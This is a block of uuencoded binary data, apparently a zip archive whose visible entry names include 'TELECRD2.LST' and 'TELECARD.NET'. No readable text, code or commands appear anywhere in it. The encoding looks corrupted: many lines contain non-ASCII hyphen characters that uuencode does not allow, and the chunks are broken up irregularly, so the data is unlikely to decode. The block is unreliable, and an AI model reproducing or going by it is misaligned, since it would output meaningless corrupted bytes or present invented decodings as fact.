M%78\9=IQ]6,;?FQGWH3FPXO'?7ZO>_J&&ZVL<C1RSC^W[‑7'QO:R^9NRCV%^ MJS56]KYM%\UVAOFSY7NP]36\9\&[^&!;KK0`LMJ'^K.*MMMJNB[[DRM1#^F3 MARC9\0P9W?L>%JL07CRFC]JG3.Z+‑%,F+P!KK"PIZDP(NR+F*+,PY:&9:#9' MK![‑&G<P2=DCL5*SDK1CN]2D#0%7(+'2D/J3Q<4FB1$FFY_RR3[;P29+']HY M_R]8;>,H:Y.3G14D^H>VQNQ:DKUY4\5OH\JZ4CM*;0IC^1D;5]F>>/*4LZ*2

MVBC=YAOV926Q31;\#?17U!0W;(?;:/<[$`Y*>*H.5Y@TXKG‑GM:%.J@W,&2S M\E1GYXOD(>;&E‑C@6&/)]V9E)H)H;)^8L2>$T&B0];J"K))@&<UOYW%1)+L[ M+J+$X8%\7&N"I0T7@;UA7AY‑,0O8=?47VW\XUKDD7JSV1$LI_324+N*"%<5" M'Y99"1@5,5S0J8@K@GL\(([+411#@8H;!8(K^**&ERGW*.62SK(*%2/E1*%\ M8*#<Y]%V7/RAHUS<>6#*!R;*`R`VEN)>R]K;U;.DV.*@(93`2#YZMBC%#!57 MKM=2S+YG0'T*A/C6<Q0@7+1=`_'O&=*`(N%YE!2K09+GL44:<*0A.&B#S&L[ M$*_9EEA"JK9X?#][S?:S]=XQR2$JX+NR#WO%B&<C<(4(9CJN31:8CFJ19VFR M:U@^UA@NX53(IQFN<R"N7,3*RD\P*,\;G#2A?JX!338!A?/97E<CG^'GR:=MP`HPL9X%POQNGABQ<EWY&TYA‑;<;;5R";7Q93@"7H&#NX<B'P#WTB*$Z&K'S M["/$K@G#%&E)Y^‑'#D==M%`*>[#:$TPDCH$(1‑:/&%Q/1YU[!'5\G:6.$*VE MJI2@1*?A*X;L\40IKCI19A,=!1%GLWS$H'QJ`Y!:>9YB`W1JQ9R!`JM5)4XX ML%75F%"IGOU2\R^@,H=?+BU!E<S1E[,>(=@TQZ<4F2!7==B?CR8CWJ5?I=]1 MZ0F>+'PF29@L.N^/S%JLZ8!O/[;3‑P"KCSDAG/Q*=EP754Y,=JN,[J78HT?! M%‑E#"HDFQ;<52)4C#62'H;‑'8`VPC/NMC*_CU2;_LY'QDS;Z.XHK]%K&][LB MV4)2O&YX/@8[D!G/:E3P%K61@0;[;0K1;@UW<0$YS7T]T(EG"OH‑1S[7F&>_ M]WGFV:%F%%L\WU/,:&6>FWQ@O?RIA5N‑A78($*)`"\N)#‑UD2E'(<Y3D5:T* M"RFH1M\7%I‑/,?H.‑:"AA4"U/IK%W.#&NZR2M%(9WY</%O2^>K"`Q5`L*Y`B MU)*]:.V#?'I(L`_5(W,1!>'VSNEIQ#BPH=Y5?YH8>T""`,F:\)+;8I.O1%D3 M0I[QZG=(‑IHX.W5`&+@/=N`@9U.P=[5*2W$!/CF_)X\*=D*]NX?';4PM*<,/ M‑#HH.+=F'>1'7#ELA<EB@8T*AAH5%)S=3U'!OD8%`U6KGZ>"`R!#.4'"2W($ M]N6,3I8M.:F/X=3LH[MP79ZD1![J>!<>P;O)!G9I`2S%]W\T>G@;E6^B%OHI M2D03S5XS`HN$:`""36D]"#G=HS6C+?%CC?,42@ZCP7GBFX@D9_Y3O*;Z25>2 M9B/AG&LV$H)+\?R‑Q%!P=%T+K$#.ZO'2(>32J([NV[@PNL\ND86BKCE2:<;. MN4`S>\30;(T9"C]S‑74=(#VL;Z&@;_)FQZ1O374F"_$0!QOF4%4W;GU/FI+H M‑XW24F>P#I+QT(%+?7)A8UK7*BEB);>AY^6BNV0%5_N'VW+<_R2JWC%X3R=; MTGI:\4D^9BCQB3UB:'Y);%_VU8B0M6J(C:).8FT#L8%*+!$R(,\D‑@3B(A$E

M0F&8PO\V!/`A7NV+6$‑@'XB/!(`(\?`:4A6`2HID_D=W4;+C_J0[4"TY$<K` M/LF2NQI[2X3Z:K.]K8\SLTCZ‑DT?O^FL8^)O&]%E'T^.WP3IZV6_FISF6(JX M;B#OK02E'KP0E*KKF]0D$WN)+2T9[7)1‑FI:,‑AS<.18<E44I;B9UE%N)HOV M*4X;$=[P'*>‑Q?8L=‑J855L)X7@:=.\JM>(XN`ZRJJV2)J.G<>1I4=5GR5[/ MH:$F)'M$‑>DL^'?2U@_Q4)‑8(L2.TC‑(EPJ8'!UDQ5K(KV11P).V>DCP*S/F MHR4YT!,Y#+,'=B`$:'"‑5RU?5U.I%*EQ24X@IVXEQ\WC/_;Q;L5M1<^CH00Y MO$J$=;A>=]7P*EUWV;<_1]M]!48#S*$<NB9"88V80Y/3MHUT\4<,+%`#O\2V MGA_X[87JVD6$K9‑Y[5KL;XLL6A7P7?F(I8X$\OI@V7)=28G:LBC?W[9C/;%T MJ$])<<^@:3"M,2Z<2>P5`R`CRZ&LM]I7"'9\]R>T7+=51_3/.$M;TU()!T,> M42\1R9.M";$AQ:1>(G.UTET,]U$.WY4MVA@C@QZK$4MB:V)LAHCE9K_=PGLF M4@B81H61PT]LG:.$'7X>%=9YRYX%1#&'MM_,*'*5Q,6`R9AD7UM4G5D4XCN5 M6=0DWBZ3G!U!Z*]6=&N6Y/?Q^J1N7Z20Q[MUQ_4&A%>(L%BNJM6.U=B'9VFU MY\C.&`=3_1U<*T?+31X_0E)0RJN'#(^%B^4M"G'4C02N2Y/P^,,O'SGQ_H+( MB4<SB*%<‑T"$ZA9Q`D0%5":`+XP>31@*&0<.IU%FN0TK.8S6<%/9(8^OB)Y/ M[1KF3D]KUXC>KE&HQEKR78X7``F9*6LL>HDJ*"^W9#"<CT=B'0XS90E;"^,_

M]M&6CKRAM`\D4##%?8X),\W@+HNC(LY.H+B/=WQU+*'Y#C(JG_$W#,$:*HP2 M%)FO0!I&S5.6'N4/J+',B_@1LN3NGIMV;Z1##K\$\EB#+)9(?#HR]48MM.*Y MFG5T(S91Y&S#P'P+K)Y"9DM0M%NW.G!"!+#^;EW1R/!NY!RT3V@<`>.J<01U M^"*1K7+Y‑CAC%$\A0A%%M%X;XBG]=3OF*H3B.VK^B<CE$YWYIS7U‑^LR$B$9 MY;O4W%L(5\KQLD&KJ1IJ[BDJB_3H4S4^LU9R)061*RD:3HG>>>/4%;5?YW`\ M:J[D>O<23Q‑*0"7Q2(S*QPS‑IW*$^1‑JY8AHY8@@P,92^:,&4"B2J"T574JG MV%)E_**Q)*]<+V97\OMD4[#M*7]!'ZP1GL\>@1*‑9H@@V[8*BN:3`?'O&_W< MQANNGOZ`9JC03`@[JSI#I<X$RU"Q,QM\/GB"BHZ``]/]N8_"*4+A1+WYJ`=@ M<$.S^#&.BB;[!4F5H_)'0,Z5^7";":X#N6S<)^T%3<)^B7Z9;JJ9H1',RH'V MQT#02>T26HV2J[L[[M[)1T!*O'.‑NRC44GR:NQA8&G=1J*'X>NYB+^#N8D"` MG.,M:R]L5LZ:!>V6E9]*$5C0'D&I8P])WNZ)`YNNTLB%%‑P18?]Z,Y>4JG]+ M3Z$_,>#T,:XJEQ,F6/QP'TO:D"$F7RB24,E7=MSMX1R9;E='M_VEZ.Z!U<=; M):%NHDF"*UNE)F‑‑‑V/T<+X:^@X\S79)J*(X?KMTVDJJKY%_H7[B$^4_T,B_ M4$KQ]>2?W]W!@KFJ!^T%#5N?YT$'‑#*`]TM"K47M0?,M46N)=1ZTL&T*!FJ& MA,CU&(8,B4BDL*$.AAHZA1J,(^BLT!121T"&;`T‑V\"%4(IQN^/>4ME]++IJ M:`W=Q7<1/<)VPL2;?L/S/.P5YQK3+M1C/‑>TA[I(@.\V)'Z::(>Z2(!0?_'U M1‑OWX`4GP0;+#U"HQ_?K2A_J3C(NXSMZWW";6)WL^>8;OEB'#C@N#LH)U10E M@5Q3/M!%A?5PRQ[HF`L12B6$'BYWN<‑>V0‑[LT)A@=##XAH7>F4/(>[,>TAQ MZ+H'J:CRRQY"M([WL'4][(JJH.PA;‑)Y#T?7P^&.;AC2D2‑O7_#^Q9'SF&+8 M+WO@2*60U1=ZE*V^?/##_PN"'^&@'*‑@W?D8)6M?C[%LQ7H,RQY"$1#O(?E' M=0^?^_#A2"</6BFMY6%,Y1KS2BNE@6O6NM#J.),M9.&[SF23T/X:YX>"9_)V M\<OE8'H!R_[@@G'NHC\8RQ8"?1H>X_N?M<>_`Z@:JO1J&RXZ`?EY=‑ZP$Y`? MM:8‑Y2MX#'?_TX;HQC#SJ^5K+PR_2$`;RC<6:1M:K*%\W;6V85@VQ(%7[7EL MVA`?_S6^NEX<NAJ&‑F\HW9YJ1D1W$QE^(((U[.8@O[6@;(AN"#"_&IWZ[VQX M:‑36L&HHY=E,O,8'^(WRB&.4AFJX5R_QA:[&5^‑[9(T‑<;V.4<SP!=)&=<6% M#YV(8D&K]M`K1Y3K<SI>?:2ZXEMJC&*&RZ^TRD5/<^![DHUBAJ‑[QE=C3U[[ MZH`WE/QHP[U2KU[BZP^‑\H@CA<;!X&.SAE^UH`WEB@(MXH`W/,Q"MVHH7HIG MY#6^6M2H"OB@IO;`WZAMV"'CK%Z!‑91.RIH',Y_!49S!ARBT$T[KU?"]XT86 M'AAR?::Y;'@,(J417_YM?#4.HFJO#AS!E_:%PL_PA>"475V?[/;Q^GE^$2[. MT‑[[:4/=L,N`LLPU:RB%G0P7T;UZB0]/&C4`WRYGY!R^+*X#L7‑V6D\+_WJ% MMB$5;'Q5M]&5P#_.I'.VS\^KAG+M1T=#:>NB‑G2:ABA_@1OZ=4/I!X_,$XZN M.C`W1.<7#3<[\8;="EW93_P3,4:]Q[?2FFD\Y.,UTH/NDC5+#[HFUBP4Z‑9X M8T‑\RW‑7P\/+B\4:RE>N&N<17UYH1D0I%ZW]I#J#[TTW"@6^"]TH%+ATQ,A" M?‑.N<0G$5U6;:40W>QN%`E_':T3$OR1EY#6N2=&NOL.J8;?HLJ.YO"&^:T%I M.*X:'C(`Y+QJ*%X6I/6JFX8W!QJR5Q^SGE,6XC/OQ@G'1\R‑8H9_:L>H,_@G M48SRB'_JP#@8?,NG$1%?V&F41WSSIE',\"^U&%[]A?TB8OTM?M&O<,0\T^G# M/S]B;$C_NQQ?3N>_P/6"CNRR/X‑_O7[W&GZ$ZYP&TN'U*?L'JV;\‑X],6A;\ M`.].3T_?U9_R[_`.?0Y_\8H?9_GA$[IJL*H,\6&T4SA%'^4+BC6D6`=;'H‑5 MW9W%*:/3]EEH‑I^SYW?54M;?;B$M[N,,'KCLWM++(7/8,X:?<1%A%]K2Q/`/ M3'::B[!R_D7OU<O+.,^CNSAO6KQZ^8__!U!+`P04````"`!M4C`=SK(OU808 M``"#=0``#````%1%3$5#4D0R+DQ35‑5=ZW/;‑K;_G,SF?SCM=F[:N;9+\*UX M^D$OI]IK6[J2W*3]TJ$ERN96%EV2BI/^]9<`^``.`,J.D^U<[6R2BN`/!\!Y MX9P#Z&+67UR`14XL&^;Q‑H[R>`VP')^/A_.1?4(?`O2.B7],>CT7@%AO2.^M[0'^S/IOQ^7C5R\GBRD$(?%A\6FWNLW27;K/X2*^2[‑/,(RR‑8SO]MNH2+‑7 M+U^]/)\.`::#?XV'2QA.1V,&=3ZY',‑B>C4?CDM*WB]?O03XI7]^‑:9O@.YC M618!,#^TF_]83I;GM)=O'TWFMQVX3O,?YY/%DDW#3[/)D/C#T#V"^4\_C]]W MO.W"B\GE\/RJ'/:WY5OS\=N3\?]>=?5'X!0X_L>/<)&LLG25[HHLW6[C#":[ MU7:_CN$LV<;=<T$?6N3L3#>@$MYSA2_C/_?\X4>RV91_UP24C>9Q'A?P2[PJ MTJP#TV68(L<8,3T‑IJ/#]!BFK\5T9$Q?@QGH,'V&&6@Q`QDST&"6'Q4SH&\$ M1(O)7Z@QRT:/Q`SI&Z%^C63,4+=&=$$4S!Y,+I>_C(=Z3%>B\\<2=K(KXFQ_ M+R%KV8U88!X*(66WH\F\<RB3W3K)REXX7\_C&^BOUUF<Y_3?25[247<@3G/5 M@0WSY5`8E=P!81W,XV@+R^0NAN$V7?T!PW2_$U!M%=6!V?!<^E)$M?EL9>EM%MTU:.?I`PP^%7$‑ZZBP+BR6_>750@_K,‑A%$15[=>CJDA(/SA;BS.J6E$WI M(M[2Z<606,67D#[,IO‑EWP#I\7&G60%]F/PX51!%<:T0`X8X,"#Z+>)`BR@* M:X48,D1QR47$H$4<:A%#%;$'_=%P>FGI$4‑9AOL_CF#(=3+C5:L&[BG`ME4" MS\?"<DO`/2WPASBCU,[C?+]5UTREWB8P'H_ZXJ*9J`_=LNEL/KV`451$"K9F M`';Y0CF$1PR@Q38)K\A5%3P3L_[R9SU\I!6SGY.;6Q@D15[CBKQ5X;I4V0VG MEWK<ZTKKE&A,PPFK>4`^;`^6\\GBT?(Q8GHM27>/D!3;9]B/EA0SMBHS=L"P M'RTS9FP‑_X5<>@3=_`3I(1W`/1B/'P?<,I^`?=*"JYSM6!Q<T/V'.5L"M\U& MR2$PG2TG)O[C1FEZKTZPUL`Z‑IA7UG'@0N(9W<I>I'EQO$AN=LDF646[@HJ/ MV68[+IQW0%H,\CR.S)B:&:&"<S7689*.MWSX5=*>FK<L]:T`SOKG"[&SAOZ. MMT*XG,I?RF_IUZ;7L2EQ+8TY_WYC.3^T^DO_(NEPJ5P;AOWY_‑?.Y1E&6?:I M>YE=!R2WZ7$XZB*Y+HP002JSCY*;$N,Q:%Z)9J:J$TWUXUP??OM],%D:T+@? M]UN<I0=@`OBM8ZKT,*K[YX8P^WTT?6=0"TZEA1_B#$;IP^X`6`]F(S‑‑!K!_ M?.%H@/T?B`98.N?7LV#Y^_3*M++<^7T7%:O;=7K#?/_CZ5Y24AI,`DN3"G@< MINHQ>#;,9Y81TZOV)Y5RF$4WC;=NF5T%SRE!9=E1704M*#%;$L^%R7QVP)(T M6[7*R4MV‑]P:UIV<F+4:#1"8'_H4G3MMHJZ\/J0KZ7;>J..\$.:#B10)4'7< M?,!=G]5MM"L'D31^X68;W9@UE<=VU$9LKJG*%H*C>28`JEK&MV"^‑!/+M0S; M[$X_Q‑EFFSZTFW016=45/J'3H+6^K:ZHIV%X>]+BCG?1]38VBXQOTR$:D5UY M$E1$56!\A\Z"$='3S\()PE5EQG>A/S+C^JJ;^CA8#\;CQ\&V?N2[+"EB';XJ ME;X/;V5XC52^W:;7T58[QUJ9\8,.2?1#ZIQR]U60Q)`<DD2_UR&)@06SA5D/

M5C&M+,Y7$8UT4IUJF64O("6:60$2#1HQ"UY@EVCRU[IHCXAFFX4M<$HT>:^K M,<P‑6C_/DYO=72Q[T*JD!2[,94'32!J3"^J41UL8KUNU;Y2VP"O?T7O82‑HJ MU$6ZSU885Q6+P&=Z8?2V2RQ:?E5)524A"&`^F%UU2T*U/Y[MM]OC_?U!00C" M#D$(>B5@%1@235)X2!!"JT,00E)BBCM#G2#(H2#NQ2T>DF)U:Y:)T*8*[H`] M:H%SNOG4V@]50$*GA'XKN4:J@"#H11%EA^Q2Z,+P9UDKJ*(BS\7P‑MKMXJWB M)*D"$WH47)HG56`ZP8F9OT.?<H9$NLK?:$9X[!D3KC)Z&#!L4THA>"2VGC6[

M&#YL&)Y(FO\@P_>L#H;O$9@‑S]Z:IJKRP?K6\;SOT"%MDIM]%K'8R`$KT+,9 MLFFBR*.0]0‑R.J:IYY:P563J:=/D=4V3#_.._1Q*^E2.Q#R.UCR6*PJ:9J8" M>"=G"G3V4NNE*.BJ>NB%)?K8J‑+L#O1*07>KB5Z/XL]‑46BG"S_+TDR"5Q0% ML6@HT*PXQ=18"Z]J3MV2DZZD‑;%L&A]*[V+8Y_%FOX6[:)6E^<G)R5?8J3M_ M4]Z>6!VR1&CJ^&K!XO]L\!TM/7AQEWYXH%G:Y?AB]ON[CK8^O,@?HGO:EB?< MCKI:!PAYT=$VA!?Q;GW7T:(C(DB(!;/I#!XQ7$+:(7"BNH9`['8(58;1W‑9! MR%VX+F[;285W:'*(WS4YK2D<7XXZJRHZ'G8%&2Q?E&2:Z)@E.]$#/T_RHN/U MKE"#%<)P/OI]>/X_FO@Q_]`]M@7_#?.^"S]QB>‑VVPS:8Z`C(;FG`>U;‑1Q3 MUM‑]<;_O"+$2BX'.%TM‑5+VEE‑2@K,#@B*:WC_NK(OG0L5LEA$&_$_8I‑70@ M0`<U‑%/2Q]P(','/B=B!OMC`[EA>XDAU$?V+UCRW:]QAGXG;K"^.C+‑L.QW: M1+#1HI58\=S]7905*SJRR>@(2F*O/Q5QG:@DFLRS#V=7B^&E$,840`E/<9WM MJ>;?[ZAOL9(J%XB:UR(!#"9+(R+/:PV2`@&IN=FR\_/I="8BB4`\‑WN>IO>H MFH*HZ5A"$WF_GYWWWVJA>#I6,MN"P2;J4M@64T8&OX_PI5C&=_=I%F6?8%&4 M?]_$\,_:GR?(S^))=`HI^C8BY‑H$6<<!B+PSKW+G%%)T9T3(V`3IU)!J`9/M M,$A#81#9F"#="M+64.G61D`':6,JW\$B^A`W*?X*5D.I5YM2+:Q"*;=9"K96 M3.T.(T(SW?4GS6ZJ#FU)MY["\#:YA\F(J\M7+]]%V2[9W;QINHX_KN)XG<‑=

M]#&YV]]!Q@+#FS2#XC;)X3Y+5V4SZB?]/:^R\;!,8/L'S\37G_5#‑2&N?23\ M_WF#M:FOS3M#!0`=Z]&5('4L_6()AN44;=RH,LR?/8Q`L8PL:8]G;_#:XA_R M^G!Z7O_0T8V0R.S(]A(TN,;XL5*$E5_^_9!;$_;LFQ_^‑F[]TML1]ZMO1Y[# M(72!0L)$BQ"P;;J,K#"BX9!KJ)592([*/ZE\T6TZ_9.P;VSVC>‑T,`?S‑_[_

M:1^ZI7‑=SP/?#P(@A%:JLA(/S>RX+IT%SZ‑_^C[],PC:.0K=CMGQGCD[‑MT' M6K;L5K.B$@V=4ECC%,[*OFXY%W+WZXJY7\S5Z2"Y*Z_BA(HJP%6^I]S7/OY0 ME]RR38$=TA);7'52?6[2(J5_3RZE*H<2ZE_[NWLH'R8EY4FT3?[B"C1+]T6R MZW"Q7:NKI(4H@\!EQ6U<OQV'"<V&%_?[_%;W])1[`UGEP>=\‑MSRK3[V8BZ: M?RD!`K8AM,9*4*E]11,G8!O%LA_LUACZ6?!7`K!IA0>NL:D_JVB[K:;KHC^Y M%`T<?7(7)3N>>J9!I<.+Y,*+^_1>^Y1Q49%FRN2%8(T57TV="2'<P':@+/Y_ M:"::J`,K]+3&'8ND!!]8#6=)VF‑?J4D;`B[M8_5#]2>+BTT2(TPV/^63?;:# M39;>M7/^7[#:QE'69OWU$]_E?+HZY].2I/>T2HQ$E3JCBHM**%OR$S:NLCWQ MY2EGM4.UB%_G&_9EQ;%‑><DI]%=4]S7+#M?1[@\@')3P'#BN(6K8<YL]K`MU M4*<P9+/R4)>]%,E=S%43L<&QQHCC/4MDC>T#\Z(((33,:KVN(*OL<D8+1_*X M*)+=#6=1XO`,&2[+P=R&JRM/V5Z'UFX(V'59)=O8.]:9Q%ZL,D=+*?TTE"[B M@E6;0Q^660D8%3&<TZF(*X(]GFG"Y3F*HD!5PP+!%7Q1P\N4^Y1R2699I8Z1 M<J)0/C!0'O`TEE*BHZ%<W‑)CR@<FRD,@‑N9BX3S/]>I)7&QQT!Z4P)@_`I&+

M&2H^$E)S,?N>`?4I$%ZW4`'"IR%J(/X]0QI0)#R/DF`U2/(\MD@#CC0$Q[*D MV`0K"L)K;:W%)A2).%6@J4AAE=Y_XG`CFCJ1`CNL$@@O,([R"`M</V)P8TJ= M‑*NL_$>A;H6IXPJ/6B1:+185\%W9ID2G`3J&?,93P;@,"!.*#[L(A‑)'%,JV

MZ&(@DR!HO7HQ\*&&1BL7^!`#YSL;1U&;TI_A=$8+7ZM&JM[V!8[_'+UMVT!< MN3B>U^\@4)Z//&I2B%P!‑%E*E"9DH215//WP>>)INV"%"K$]<24W#XQ8^;S*

M*:<PW<6,CR'=2.=4&+17%5:@HB+,)/BTF<`DE‑_N4VKOUW2AKS]5;/.EM[;> M5]_:LAB8U<<R(YQ"3'9\_529F>Q6&1TA>\2G@RML.Z"02'8"6X%49:>!1+(S M$]%#L`98&P4M_ZWCU2;_J]%&1VTF8A17Z+4VVN^*9`M)\;J1SA[8H2RBK%X* M[Y$::6VPWZ80[=9P$Q>0TSSL'645IDJ_X<A]C4@'WC‑%>@#$QE(2J):Q$NDF M‑UU;#+6(L)7J(1"B0`O:0H9NLO8H_#Y*\JINJH0<:11%\%Q%08U)ST*@DJ*H MW1J+>8Z‑0U85#$@EI0R1&1$I]R#IBU8_R.?"!/U0/3*7QQ"NYQV=?Q[:4&_K M/HLI'`(D#‑'*"9U<%YM\):Z<$,R.5W]`LM%D4*@)8.`VV*$0;*V+K["`2!M3 M/CE_)/<*=D(#(7?WVYAJ4H;O:#A:\*[,',T/+W/8"I‑%>6N&=EP‑0PO>UF<P MM.‑I&#I49>1)#.WX0(9RZHL76PG+ES,Z61[LJ#Y@52\?W0;J,F`LIJ19.S4` MI*[=9`.[M`"6O/TW#09=1V5/5‑\]1(FH\%@W(5BDAP8@2&CK.<F)/*U2:HGO

M:9S&GN2#&IQ&'F]+<N8WQFLJG\PUH+XC0^[+TU`7A&%YUWEZE;PC:]6F,4OT M`5BAG*_E16'(D<')VU‑X&Q>PT29L2]2AS!1U‑9E*,W:/!)K9(X8VTJBAWC‑M MDS,&XF%YZZD^[`%Y:^IN2\0S(`Y6S#U5W+CV/6J*W4\;H:7AL3I*P_>NK@6. MN%>MJ]`4MI+;T).0T4VR@LO]W74Y[G\25>X8/‑'QEF2=JG62#Y!*Z\0>,30: M)NG+GH^8`&J(C:).8FT#L8Y*+!%R6T\DU@7B(A8E0FQ<6?\&;?PQ7NV+6$.@ M!R1`#$"$@&P‑J3)`Q47R^D<W4;+CWIGKJYJ<"`5^GZ7)78V^)4+EO%G?U@?5 M62AWFZ;WWW16J/'>0FKV\>0$392X‑OO5Y#0'CD2[H?A"+O6'73F0(!K1‑F?` M.K$ED]&:B[)1TX+!]L&1@YE5N9OBM%F/=‑K<@>JT$:&'ISAM)=I0.4?.ZNB$ M>#"‑^G85T7$<7!Y25<W)DZ%QBVFYW/‑X;TPW^[)>HU5U6%18].FHK0SCFWVQ M^(M=DL`@SRB#R>$I5H:'_$H6ACIJZ\($OS)C/EJ2`SUK13$]FI/R$'\)U7LU M?UU.I2*SQB4Y@IRZE1PWC__<Q[L5UQ4>H0$$>2='!#M<VUTUOD?M+OOVEVB[ MK\!H^K8GQTZ)4#(E)G'D+%S#7?P1`W/4R".QK:=''CU7M5U$V+R:;==B?UUD MT:J`[\I'+'<AD.>!9<L50R5JJ[?S_74[UB‑+0*4APT:5L‑(UMBXGO`J9A6S) MR'+HB@]:9$%][_Z"=K%MU?_\*\[25J‑4//'EHR[^?R#JXH74G97+7XBM1N‑Q

MC3QU9YE/2"‑<MU$.WY4M:‑B2NX\,NB>[,!Q:#<>K'B=GULU^NX4/C/<1<!^( MBW8FQ‑9Y='AGP@.(.K?>&P!1]+8=‑#R`?#K1:C%AD`Q!BZK3WT)‑4Z6_‑2FJ MBR1GIV#ZJQ7=0R;Y;;P^JML7*>3Q;MUQPP;A14HE!2.‑^G&L1I$]3?V,9:^1 M@ZF.&2[7I!5/]Y\@*2CEU4.&1R,</7DO11QUQX‑+(R4\_I#"^1:%0TI<*%<2 MX>3:"`3'[:%/P!&3%1Q.(QIR&U9#&JWA'3PDQ2U\YW‑#Z‑M4G>&Q>EIU1B1U MUBK)$JI1DM60'2`]ILJ"88LJB`+79#"<CT=B‑05390DS@?&?^VA+1]Y0Z@$) M%4QQ>V/"3#.XR>*HB+,C*&[C'3>*)33?.$;E,]Y#`‑9062A!++CAT2S4/&5I M.?Z`JIZ\B.\A2VYNN?OEASKDWI=`[FF0:6')\Y&I$VHA0R=4I31\MA&;*'RV MX6`#L#R%S):@:+=N9>"("&#]W;JBD>&]DW.?_I"&#S"N&CY0AR\2*0C7")PQ M"J,0MQ6N:+TVA%'ZZW;,5>3$'ZOI‑B*431Q*MZVIFUF7+PBY‑_^,*D\+X?K* MH‑4,#56>%)4%>'09&I;IL:R>G,$G0KF%J*U$I[SQY8K:G7,X'E57\@&&$D\3 M04!G'!`;E8\9FDWY"*]/3\M'1,M'!`&VFBIL`#U+T534,$VQILKXS7%)7KE> M3*_DM\FF8+M2WH$'U@C/IT>@1*‑I%LBVK8"B^61`_/M&/K?QAHMGX‑,T#YH) MH=*B3O.H,\'2/.P0#I\/GN6A(^#`=%LN9%XXL*/L.>H!&‑S0++Z/HZ))(4%2

M)7J"$,B9,A]N,\%U_):‑^ZB]<4O8)M$OTTTU,S1P607?@QX0=/2^A%:#X^JF MCCM+\IF>$J^O<;XTA15/<[Z"@<;Y$BHKOI[SY87<^0J&0,[P3M7K‑9:S7H)V MI\J/&0E+T)XIJD,.2=YNA8,1V"%6?(([(FQ;W\TEH>I?TVL%'AAP>A]7I>@) M8ZQZGQ2,@0PQ^4*YA4J^LM%N3UO)=)_IZ+:_$‑VA!58?;SR$ZHLFDZQL/)JT M+]W:T‑L6U(AW2#2;#Z$>X_&;C^.&4T‑;P_^^*D]/X__0T?"_4+SQ]?B?7\;" M3++J0?MALZQ/\Z!#&A#`NP^A%*/VH/D&H]7$.@]:V(2$OIH8(7(9AB$Q(A(I

M;$_#0$.G4,CP"#HK‑(74$,B0V="P#5P(]0S7.^XME:^/15<‑V=!=?!/1,XE' MC+WI‑SR]P[KH:U2[4‑3P5‑4>ZO;5@=N0^)FLK=M7"Z;TZ[%VX,.+KQ#J"?ZN MH^Q")477"67"KY7YTL,.GSCLQ:\7@^DY+/N#<S:H\_Y@+‑]IC3[‑\/%MR‑K# MT"%4#=7:.&W#12<@/YW‑&W8"\H/'M*%\(8WA)GS:$‑V?9>Y:O@3"<#\_;2C? MWZ‑M:+&&\N7/VH:]LB&.`6E/)].&^#"LL6M\1:BY(;J`Q_`K"*QA]\+PH_EE M0W0,WMPU.MK>V5`\>*UM.*P:2BD'TQ+B4^I&‑L‑Q&^U%4;1K?&NIL6M\6:JQ M(2Y=,'(/OB79*(4X!]R)*%;*:4]V<AKE4H6.KA\IA?@J%B.;X4H4K<S0RFI\

M&;"1S7#$P]@U]FZT78>\H>1;:,O**(WXCC\C/^+HB7$P^$"8X:<;:$,YN:I% M'/"&AY?0K1J*‑[\9UQK?GVD4!7QH2GOX)FP;=O`X2]VRAM*I‑?‑@YC‑XU,K@ M.GKMA‑/2'7RYMG$)#PRY/D)=‑GP,(J41WW!M[!H'E@R7Y_&&G0H76%KE2_M" MO6?X0G#,+G)/=OMX_32_".<XM8,=\%F1MN):N:?<A0\R&24`7Z%F7#E\(UH' M8N>@6P<*_T2#MB%E;'P?M=&5P+]`I/.AS\ZJABH+&!I*L1>UH=,TQ/?6H(9! MW5#Z51_SA*‑#O.:&Z"R1X?HBWK!;H"O]B7\'Q2CW^.I5,XV'?+R&>]"%J6;N M07>AFID"78UN;(BO,NYJ>‑B\6*RA?*^H<1[Q#7UF1!2&UNI/NM;X<G`C4^`+ MOXU,@9/3QB7$U\D:32"^C]E,([J^VL@4^,Y9(R+^N23C6N.LM];Z#JN&W:S+ MCL[QAOC<L])P7#4\I`#(6=50O!%'ZU4W#84;>;0‑6=>/L>=T"?'Y4^.$X^.> M1C;#OR=CE!G\NQ]&?L3W^1L'@Z^R‑"+B6RF‑_(BOES2R&?XY$F/7O\&A#^OZ M"_M%Q/I;_"+\&QO&>:;_NQA?3.>_PM6"$GS1G\'WK]^_AI_@*J?!17A]S/Z# MU4O]P,NN+`O>P/OCX^/W]:?\‑[Q'G\‑?5*7C;S[C50U6E3Q!:)2R8_0Y_`7%

M&E*LI[^JP:HNB.*4T6E[%IK‑Y^SIK^HI(Y8P9\]#L\F7I*R_W4):W,89W'%A MN:9W,^:P9ZQXPIF7W2=+TWAO&%<W]]/D[`MBOWIY$>=Y=!/G38M7+__Q?U!+ M`P04````"``SH"T=Z\G1\\0```"U`0``#````%1%3$5#05)$+DY%5'V0,:O" M,!1&]T#^0T8=`KUIDG;5H%!L;:%]4!"18`<'!:E._GIS;WC0E^$1T@SGW"_Y M>N+,0=@.5&8Y4TH\]YS%=>8,L?H7_X3IOJVAY*RK'%A7ZD0(\U7?%B6$@/[A MY_?5SY/H_/3Z*XXAJ:EK'0XMFMM'C'+P]X6SXNRX&RY9E@'&2HVW2X,‑Y`8? MBM_UTE/D*?*@2&!.T$08LW2B:%)L5/($&H(%P:BDAB6C));>'N?`8&]YH`[; M1(F#^‑O&WX)1^0)02P,$%`````@`ET`N'45;^#19!0``/@T```P```!414Q% M0T%21"Y00T)]EDUL$T<4Q\=Q`B8RWIDE+16BE=M#A%8">9?%F`]5@7RHII!8 M2<I'9;5RXMDUK1L[MBL$JBH5H0KU8%7@0\FA5"B'7%I5:EI%%6DIAU4/'#CE M@M43H`I!#S2TE@A6YZWC]1L;:FED^?=_[\V;F3?C=_8L.44V]QZ83,W8N9V) MP</AX?3'TZG2Z=Q,*AL^;NS2]?`$+YSFQ7`\OKGW^/#X1'QL‑*R'S?#ATS.I MPMG‑O=O("S\^/_F?CR](M.#]Z5+?NR7X]AO$3]XQB$(F/DH52M.I0CJ<2*6+ MQ$=(@,0GQO;&]"CY@?X[6U<NYX‑;/BUV$>+7P$DGFT@B/JA'!V,FF&\@$V‑' M]1BYSE;Y,GV2?J;>M03V[Q3&)W42)&;X6.9<^.3.R52V87_LZ%%3)QFZRJM* M@3^@J[9(W;]#V`_J0C:,<'X$+#>2P4'=B$2)H:SR[T/O\PW4MKJ;IL8+3!WK M^Y!N;:#[[!Y"NOM`[?J&5'N(S_=/*)!W=Z/[)=)%3‑(U27X76^.;8JE98;7.

